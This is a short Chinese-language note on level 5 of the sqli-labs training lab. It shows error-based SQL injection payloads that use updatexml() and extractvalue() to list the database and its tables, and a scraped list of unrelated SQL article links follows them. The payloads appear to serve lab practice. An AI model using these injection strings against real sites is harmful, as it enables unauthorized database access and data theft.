sqllabs第五关updatexml报错注入

-1' and updatexml(1,concat('~',database(),'~'),1) --+

-1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database()limit 1,1),'~'),1) --+

-1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database()limit 3,1),'~'),1) --+

下面的都可以按照上面的大家要学会语法

还有下面还有个拓展函数也是报错函数

extractvalue()

id = -1' and (extractvalue(1, concat(0x5c,(select database()))))--+

相关推荐
德彪稳坐倒骑驴2 分钟前
Hive SQL常遗忘的命令
hive·hadoop·sql
山峰哥3 分钟前
3000字深度解析:SQL调优如何让数据库查询效率提升10倍
java·服务器·数据库·sql·性能优化·编辑器
tyatyatya11 分钟前
MySQL Group Replication(MGR)集群部署,实现自动故障切换
数据库·mysql
b***594311 分钟前
mysql 迁移达梦数据库出现的 sql 语法问题 以及迁移方案
数据库·sql·mysql
木风小助理11 分钟前
MySQL中COUNT()、COUNT(1)与COUNT
数据库
不想上班的小吕12 分钟前
采购申请创建(BAPI_PR_CREATE/BAPI_REQUISITION_CREATE)
java·服务器·数据库
j***894613 分钟前
MySQL官网驱动下载(jar包驱动和ODBC驱动)【详细教程】
数据库·mysql
emma羊羊15 分钟前
Vulhub-Mysql靶场
数据库·mysql
橘橙黄又青20 分钟前
mongodb的基本命令
数据库·mongodb